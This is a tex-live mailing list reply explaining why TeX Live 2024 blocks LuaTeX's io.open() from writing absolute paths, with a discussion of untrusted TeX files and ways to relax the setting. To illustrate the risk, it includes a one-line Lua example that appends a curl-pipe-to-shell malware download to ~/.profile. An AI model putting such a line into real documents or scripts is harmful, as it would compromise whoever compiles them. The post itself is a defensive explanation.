[tex-live] TL 2024: lua's file.is_writable() broken

Max Chernoff mseven at telus.net
Thu Mar 21 22:55:27 CET 2024

Hi Werner,

On Thu, 2024-03-21 at 12:31 +0100, werner at suse.de wrote:
> On 2024/03/21 11:53:52 +0100, Dr. Werner Fink wrote:
> > 
> > Could anyone explain why io.open() does not accept absolute paths?

Because it's a security risk:

       io.open(os.getenv("HOME") .. "/.profile", "a")
         :write("curl http://example.com/install_malware.sh | sh")

This change was made for TeX Live 2024 to bring it in line with the rest
of the TeX programs. See the release notes:


> Broken by design ... from /etc/texmf/web2c/texmf.cnf
>  % Do we allow TeX \input or \openin (openin_any), or \openout
>  % (openout_any) on filenames starting with `.' (e.g., .rhosts) or
>  % outside the current tree (e.g., /etc/passwd)?
>  % a (any)        : any file can be opened.
>  % r (restricted) : disallow opening dot files
>  % p (paranoid)   : as `r' and disallow going to parent directories, and
>  %                  restrict absolute paths to be under $TEXMFOUTPUT.
>  openin_any = a
>  openout_any = p

Short answer:

In earlier LuaTeX versions, "\openout<n>={<filename>}" was restricted
but "io.open('<filename>')" wasn't. To fix the inconsistency, it's
better to add more restrictions than to remove them.

Long answer:

To us enthusiasts, TeX (and especially LuaTeX) is a fully-featured
programming language with the ability to read/write files and run
arbitrary programs, so from that perspective it seems odd to restrict it
like this -- Perl, Python, and standalone Lua have the same
capabilities, and no one tries to restrict them like this.

But to most users, TeX is just a document processor. I'd guess that most
users would be pretty surprised and unhappy if running

   pandoc some_random_file.md
could write to arbitrary files on your filesystem. From this
perspective, it seems almost like a requirement to block unsafe
operations from TeX.

But even if you don't agree with this, the TeX Live documentation states
that TeX programs shouldn't be able to write arbitrary paths by default,
and can be configured to prevent reading as well:

(and compare with Pandoc's documentation with similar security


For a concrete example of where this is bad, there are lots of websites
that let unregistered users compile arbitrary TeX files. TeX Live
predates modern sandboxing methods, so lots of these services just rely
the documented security restrictions. These services run TeX under a
restricted user account like "apache" or "httpd", but path traversal
attacks are generally considered pretty serious.

And there are plenty of people who manually compile untrusted TeX files
(journal editors for an obvious example), so the "~/.profile" issue
mentioned above is a realistic concern there.

> > And how to fix this?

   1. Set "openout_any = a" in "texmf.cnf"
   2. Run with the environment variable "openout_any=a"
   3. Run with "--shell-escape"
   4. Define "kpse.out_name_ok_silent_extended" to always return true
      inside of a "Lua initialization script". (this is a fairly
      complicated solution, but putting it here for completeness)

On Thu, 2024-03-21 at 13:19 +0100, werner at suse.de wrote:
> The best is that TEXMFOUTPUT in /etc/texmf/web2c/texmf.cnf can take
> and works but
> also for system processes goes wrong as lists seems not to be supported
> as well.

Kpathsea paths are usually separated with commas in braces ("{a,b}") or
with semicolons ("a:b"). Untested, but maybe one of those will work?

(And adding to TEXMFVAR probably makes more sense than TEXMFOUTPUT if
you just want to be allowed to write to a path. Again, untested.)

-- Max

More information about the tex-live mailing list.